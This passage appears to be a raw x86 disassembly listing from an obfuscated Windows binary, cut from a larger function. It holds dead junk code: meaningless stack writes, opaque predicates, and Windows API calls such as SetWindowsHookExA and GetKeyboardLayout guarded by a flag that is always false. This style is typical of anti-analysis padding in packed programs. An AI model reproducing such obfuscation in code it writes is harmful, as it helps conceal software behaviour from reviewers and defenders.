sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
lea ecx, [ebp - 0x480]
setge dl
sub edx, dword [ebp - 0x3c]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x18], edx
call fcn.00421a31
or ebx, 0xffffffff
mov dword [ebp - 0x14], 0xb26bdde0
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x4e0]
push 4
call fcn.00421789
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x18], 0xb2b3a3c3
mov dword [ebp - 8], eax
jmp 0x46bb23
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x4e0]
mov dword [eax + ecx*4], 0x1eaa473e
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x46bb10
mov dword [ebp - 0x14], 0xfffffff6
jmp 0x46bd81
mov dword [ebp - 0x20], esi
lea ecx, [ebp - 0x6e8]
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x18], 0x9140de19
mov dword [ebp - 0x18], 0x22c08f49
mov dword [ebp - 0x18], 0x842c5acc
mov dword [ebp - 0x18], 0x5a2c03fd
mov dword [ebp - 0x18], 0xfffffffb
push edi
call fcn.00421789
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], esi
jge 0x46bb8c
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x8c], 0xfffffff7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x46bb74
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], edi
jge 0x46bbae
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x6e8]
mov dword [eax + ecx*4], 0xa513e67d
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x46bb94
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x46bbe1
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x14], eax
jne 0x46bbdb
mov eax, dword [ebp - 0x8c]
mov ecx, 0x90a3cfce
cmp ecx, eax
mov eax, dword [ebp - 0x14]
sbb ecx, ecx
inc ecx
add eax, ecx
cmp eax, dword [ebp - 0x8c]
jge 0x46bbe1
xor eax, eax
mov edx, eax
jmp 0x46bbe3
mov edx, esi
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
sete cl
sub ecx, eax
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], 0x12
cmp dword [ebp - 0x20], 0xffffffe6
je 0x46bd73
mov esi, dword [ebp - 0x4e0]
mov dword [ebp - 0x40], 0xfff8
lea ecx, [ebp - 0x618]
mov dword [ebp - 0x24], 0x707e294b
mov dword [ebp - 0x38], 0x61b8
push 4
call fcn.00421789
mov dword [ebp - 0x18], 0x1cd5
xor eax, eax
mov dword [ebp - 8], 0x1c9e
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], edi
jge 0x46bc67
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x4c8], 0x7da19ae8
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x46bc4f
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jge 0x46bc8b
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x618]
mov dword [eax + ecx*4], 0xdfce9586
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x46bc70
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x46bd35
mov dword [ebp - 0x24], 0xfd8c6581
cmp dword [ebp - 0x24], eax
je 0x46bccd
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setl cl
cmp ecx, dword [ebp - 0x4c4]
jg 0x46bccb
xor edi, edi
inc edi
mov edx, edi
jmp 0x46bcd2
xor eax, eax
xor edi, edi
mov edx, eax
inc edi
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
mov eax, 0xd4826422
setg cl
cmp eax, ecx
mov eax, dword [ebp - 0x14]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x618]
setne dl
mov dword [eax], edx
xor edx, edx
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x34], eax
imul ecx, dword [ebp - 0x34], 0xd89b
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge bl
xor ecx, ecx
cmp ebx, eax
setne cl
cmp ecx, dword [ebp - 0x4c4]
jle 0x46bd33
mov edx, edi
jmp 0x46bd37
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
mov dword [esi + 8], edx
push 0xfffffffffffffffd
sete cl
pop eax
cmp eax, ecx
lea ecx, [ebp - 0x618]
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
dec dword [ebp - 8]
call fcn.00421a31
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe6
push 3
pop edi
jne 0x46bc15
xor esi, esi
inc esi
or ebx, 0xffffffff
lea ecx, [ebp - 0x6e8]
call fcn.00421a31
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe7
je 0x46bb35
lea ecx, [ebp - 0x4e0]
call fcn.00421a31
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], esi
jge 0x46bdbb
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x7b8], 0xffff
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x46bda3
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x46bdde
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x46bdd9
push 0x1cb8
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
xor eax, eax
dec dword [ebp - 0x1c]
jns 0x46bdc3
mov dword [ebp - 0x1c], eax
jmp 0x46be13
mov dword [ebp - 8], ebx
mov dword [ebp - 8], eax
cmp dword [ebp - 8], eax
jl 0x46be10
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x46be0b
push 0x1dfa
push eax
push eax
push 0xe9c
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
xor eax, eax
dec dword [ebp - 8]
jns 0x46bdee
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffed
jge 0x46bde3
push 0xfffffffffffffffd
pop ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x20], 0x252604
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
neg eax
neg eax
sbb eax, eax
neg eax
add eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
jl 0x46be7f
mov dword [ebp - 0x14], ecx
jmp 0x46be68
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x46be62
push eax
push eax
call dword [sym.imp.GDI32.dll_GetRgnBox]
mov eax, dword [ebp - 0x14]
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe2
jg 0x46be50
xor ebx, ebx
mov dword [ebp - 0x44], 0x928c176b
mov dword [ebp - 0x44], ebx
jmp 0x46c7c9
mov dword [ebp - 0xc], 0xd764ce34
lea ecx, [ebp - 0x5b8]
push edi
call fcn.00421789
xor eax, eax
mov dword [ebp - 0x18], 4
mov dword [ebp - 8], eax
jmp 0x46beb3
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x5b8]
mov dword [eax + ecx*4], 0x2fb29d94
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46bea0
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
neg edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sbb edx, edx
mov eax, dword [ebp - 0xc]
neg edx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5b8]
mov dword [eax + 8], ecx
xor eax, eax
cmp ecx, dword [ebp - 0xc]
je 0x46beed
mov ecx, esi
cmp dword [ebp - 0x14], eax
jne 0x46beef
mov ecx, eax
xor eax, eax
cmp edx, ecx
setge al
xor ebx, ebx
cmp eax, dword [ebp - 0x20]
jl 0x46bf04
mov eax, ebx
cmp dword [ebp - 0x14], ebx
je 0x46bf06
mov eax, esi
cmp eax, dword [ebp - 0x14]
jg 0x46bf3d
mov dword [ebp - 0xc], ebx
jmp 0x46bf1f
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jle 0x46bf10
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x46bfa6
push esi
push ebx
push 0x14b8
call dword [sym.imp.USER32.dll_SetWindowRgn]
jmp 0x46bfa6
or eax, 0xffffffff
xor edx, edx
mov dword [ebp - 0x18], eax
mov dword [ebp - 8], 0xb1f0cfad
mov dword [ebp - 0x24], 6
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 8]
setg dl
sub esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
cmp esi, eax
setge cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
add ecx, 0x8837c41b
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 9
setne al
sub eax, dword [ebp - 8]
neg eax
sbb eax, eax
xor esi, esi
inc eax
inc esi
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x46bfbd
push ebx
push 0xea4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
lea ecx, [ebp - 0x5b8]
call fcn.00421a31
jmp 0x46be70
mov dword [ebp - 0x20], 9
lea ecx, [ebp - 0x4f8]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x34], 0xd7d393e7
call fcn.00421789
mov dword [ebp - 0x24], 0x7c869b7d
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], 0xfbf26171
mov dword [ebp - 8], ebx
jmp 0x46c019
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x4f8]
mov dword [eax + ecx*4], 0xe61780ee
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46c006
inc dword [ebp - 0x20]
xor ebx, ebx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4f8]
setg bl
xor edx, edx
mov dword [eax + 4], 2
mov eax, dword [ebp - 0x3c]
dec dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x20]
cmp eax, 0x3d59
setl dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
cmp eax, 0xfff8
setne cl
xor eax, eax
cmp ebx, ecx
setne al
xor edx, edx
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
lea ecx, [ebp - 0x4f8]
setge dl
sub edx, dword [ebp - 0x3c]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x18], edx
call fcn.00421a31
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x18], 0x5d1cb6a7
mov dword [ebp - 0x28], 0x23703acb
mov dword [ebp - 8], ebx
jmp 0x46c0d9
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x7e4], 0x648261f9
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46c0c8
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], ebx
jl 0x46c114
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 8], ebx
jmp 0x46c107
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xaa0], 0xdb34e6d4
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46c0f6
inc dword [ebp - 0x28]
dec dword [ebp - 0x20]
jns 0x46c0ea
mov eax, dword [ebp - 0x28]
neg eax
je 0x46c14d
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
mov eax, dword [ebp - 0x7e0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
cmp edx, eax
sbb eax, eax
neg eax
cmp eax, 6
mov eax, dword [ebp - 0x28]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
sub eax, edx
jne 0x46c14d
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov ecx, 0xb4415e40
cmp ecx, eax
lea ecx, [ebp - 0x700]
push 2
sbb eax, eax
neg eax
mov dword [ebp - 0x7dc], eax
call fcn.00421789
mov dword [ebp - 8], 0xdf1febae
mov dword [ebp - 8], ebx
jmp 0x46c18d
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x700]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x46c17a
mov dword [ebp - 8], esi
cmp dword [ebp - 8], ebx
jl 0x46c1b3
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], bl
je 0x46c1ae
push 0x133d
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
dec dword [ebp - 8]
jns 0x46c19b
lea ecx, [ebp - 0x700]
call fcn.00421a31
mov dword [ebp - 0x14], ebx
jmp 0x46c1d0
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa2c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x46c1c3
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], esi
jge 0x46c1f0
push 0xfffffffffffffffd
pop ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x80], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x46c1e1
mov dword [ebp - 0xc], 0xfffb
or eax, 0xffffffff
mov dword [ebp - 0x18], eax
xor edx, edx
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x4c], 0xfff7
mov dword [ebp - 0x50], 0x4a938f73
mov dword [ebp - 0x50], 0x25ec560
mov dword [ebp - 0x50], 0xb6bd0d42
mov dword [ebp - 0x50], 0x1d976d9
mov dword [ebp - 0x50], 0xfffffff6
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setl dl
mov dword [ebp - 0x34], edx
xor edx, edx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
neg eax
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
mov eax, dword [ebp - 0x4c]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp esi, ecx
sbb eax, eax
inc eax
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x50], eax
dec dword [ebp - 0x38]
mov dword [ebp - 0x14], ebx
jmp 0x46c2a1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9b0], 0xf82baef6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x46c290
mov dword [ebp - 0x3c], 0x1824a8c6
mov dword [ebp - 0x18], 0x37b1891f
mov dword [ebp - 0x3c], 0xfffffff3
jmp 0x46c2c6
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x18], eax
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff1
jne 0x46c2bd
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], bl
je 0x46c2da
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0x80], edi
cmp dword [ebp - 0x80], ebx
jl 0x46c7c6
mov dword [ebp - 0x28], 0x4bc662a2
lea ecx, [ebp - 0x240]
push esi
call fcn.00421789
mov dword [ebp - 0x18], esi
mov dword [ebp - 0xc], ebx
jmp 0x46c314
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x240]
mov dword [eax + ecx*4], 0xa5d6
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x46c301
mov dword [ebp - 0xc], ebx
jmp 0x46c328
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x64], esi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x46c31e
mov dword [ebp - 0x64], ebx
cmp dword [ebp - 0x64], ebx
jl 0x46c438
mov dword [ebp - 0x24], 0xcd49598a
lea ecx, [ebp - 0x348]
push 2
call fcn.00421789
mov dword [ebp - 8], ebx
jmp 0x46c365
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x348]
mov dword [eax + ecx*4], 0x1c5a3d7f
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x46c352
mov ecx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x240]
cmp dword [eax + ecx*4], ebx
je 0x46c3d3
mov eax, dword [ebp - 0x64]
mov ecx, 0xbd652568
cmp ecx, eax
mov eax, dword [ebp - 0x24]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
cmp ecx, 0xa9b27fa3
jae 0x46c3a6
mov eax, dword [ebp - 0x348]
mov edx, esi
cmp dword [eax + 4], ebx
jne 0x46c3a8
mov edx, ebx
mov esi, dword [ebp - 0x64]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp edx, eax
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x240]
sete cl
sub edx, ecx
neg edx
mov eax, dword [eax + esi*4]
sbb edx, edx
inc edx
sub eax, edx
je 0x46c3d3
xor edi, edi
lea esi, [edi + 1]
jmp 0x46c3d5
mov esi, ebx
mov ecx, dword [ebp - 0x64]
xor ebx, ebx
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x240]
cmp dword [eax + ecx*4], esi
setge bl
sub ebx, dword [eax + edx*4]
mov eax, dword [ebp - 0x24]
neg ebx
sbb ebx, ebx
inc ebx
imul eax, ebx
xor ebx, ebx
test eax, eax
jne 0x46c409
cmp dword [ebp - 0x64], ebx
jne 0x46c409
xor esi, esi
mov edx, ebx
inc esi
jmp 0x46c40e
xor esi, esi
inc esi
mov edx, esi
mov eax, dword [ebp - 0x64]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x348]
setle cl
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x348]
call fcn.00421a31
dec dword [ebp - 0x64]
jns 0x46c339
push 3
pop edi
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x46c44c
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
lea ecx, [ebp - 0x240]
call fcn.00421a31
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x28], ebx
jl 0x46c58f
mov eax, 0xf7e2799a
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x24], 0x80bfe737
mov dword [ebp - 8], ebx
jmp 0x46c49d
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x7c8], 0xfffffff9
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x46c48c
mov dword [ebp - 0x1e0], ebx
jmp 0x46c4f6
push 2
lea ecx, [ebp - 0x678]
call fcn.00421789
mov dword [ebp - 0x18], 0xfffffff9
mov dword [ebp - 8], ebx
jmp 0x46c4d6
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x678]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x46c4c3
mov eax, dword [ebp - 0x678]
lea ecx, [ebp - 0x678]
mov dword [eax + 4], ebx
call fcn.00421a31
inc dword [ebp - 0x1e0]
cmp dword [ebp - 0x1e0], 0x1c
jne 0x46c4aa
dec dword [ebp - 0x24]
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x18], 0xfffffffa
cmp dword [ebp - 0x18], ebx
je 0x46c527
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x4c], 0xcd53bc6e
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x4c], eax
jmp 0x46c559
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x46c541
push ebx
push 0x1704
push 0x1147
call dword [sym.imp.GDI32.dll_CreatePen]
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x46c559
push ebx
push ebx
push 0x1fe5
push ebx
push ebx
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x46c56b
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0xa2c], ebx
je 0x46c580
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x9b0], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x18], esi
dec dword [ebp - 0x28]
jns 0x46c463
mov dword [ebp - 0x1c], 0x45d811f0
or edx, 0xffffffff
mov dword [ebp - 0x28], 0xfffd
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x5c], 0xdbfe
mov dword [ebp - 8], ebx
jmp 0x46c5ca
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x1a8], 0xfffffff6
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jl 0x46c5b9
cmp dword [ebp - 0x1c], ebx
je 0x46c5e1
mov dword [ebp - 0x1a8], esi
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x50]
sub ecx, eax
sub ecx, dword [ebp - 0x28]
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx, 0xfbc3
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x18], 0xc70c3099
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], 0xf07b4bc6
mov dword [ebp - 0x18], 0xededb5ca
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x46c664
push 0x838
push 0x1514
push 0x1f89
call dword [sym.imp.USER32.dll_CheckDlgButton]
dec dword [ebp - 0x24]
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
je 0x46c7bd
mov dword [ebp - 0x3c], ebx
lea ecx, [ebp - 0x7a4]
mov dword [ebp - 8], 0xf506e60b
mov dword [ebp - 0x18], 0x94fe5f36
mov dword [ebp - 0x18], 0x37bd55fd
mov dword [ebp - 0x28], 0x8a92
push 2
call fcn.00421789
mov dword [ebp - 0xc], ebx
jmp 0x46c6b6
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x154], 0x15cbcef0
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x46c6a5
mov dword [ebp - 0xc], ebx
jmp 0x46c6d3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x7a4]
mov dword [eax + ecx*4], 0x6797b69e
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 2
jl 0x46c6c0
cmp dword [ebp - 0x3c], ebx
je 0x46c741
or eax, 0xffffffff
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x18], 0x13034d00
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], 0x3e38693
mov dword [ebp - 0x18], 0xf989b1ab
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc], ebx
jmp 0x46c71c
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x7d8], 0x868b
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x46c70b
mov dword [ebp - 0xc], ebx
jmp 0x46c737
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x828], 0xaced45b0
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x46c726
inc dword [ebp - 0x28]
jmp 0x46c7ab
mov dword [ebp - 0x34], esi
xor edx, edx
mov dword [ebp - 0x4c], 0xfffa
mov eax, dword [ebp - 0x154]
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 8]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
sub edx, 0xe6c1
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
mov dword [ebp - 0x154], ecx
test ecx, ecx
je 0x46c786
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 8]
xor ecx, ecx
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x28]
sub eax, 0x6b09
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x3c]
cmp eax, 0x11cd
setle cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x7a4]
call fcn.00421a31
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
dec dword [ebp - 0x80]
jns 0x46c2e6
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x1d
push edi
jle 0x46bfcd
lea ecx, [ebp - 0x108]
call fcn.00421789
mov dword [ebp - 8], ebx
jmp 0x46c7f7
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x108]
mov dword [eax + ecx*4], 0xe387fb0b
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46c7e4
mov edi, dword [ebp - 0x108]
cmp dword [edi + 4], ebx
je 0x46c867
mov dword [ebp - 0x24], 0xaa165420
mov dword [ebp - 8], ebx
jmp 0x46c824
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x884], 0xdee21afa
inc dword [ebp - 8]
cmp dword [ebp - 8], 4
jl 0x46c813
mov ecx, dword [ebp - 0x878]
xor edx, edx
mov eax, dword [ebp - 0x87c]
cmp ecx, eax
setne dl
xor ecx, ecx
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x108]
cmp dword [eax], 0x9dce
setle cl
xor eax, eax
cmp ecx, 0xfffc
setne al
mov dword [edi + 4], eax
jmp 0x46c9a9
mov dword [ebp - 0xcc], esi
lea ecx, [ebp - 0x510]
mov dword [ebp - 0xc8], esi
mov dword [ebp - 0xc4], esi
mov dword [ebp - 0xc0], esi
push 2
call fcn.00421789
mov dword [ebp - 0x24], 0xfffffff7
push 2
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0xc], ebx
pop edx
jmp 0x46c8b1
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x510]
mov dword [eax + ecx*4], 0xfffffff7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jl 0x46c89e
mov dword [ebp - 0xc], ebx
jmp 0x46c8cc
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x464], 0xfffffffc
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jl 0x46c8bb
mov dword [ebp - 0xc8], ebx
cmp dword [ebp - 0xc8], edx
jg 0x46c980
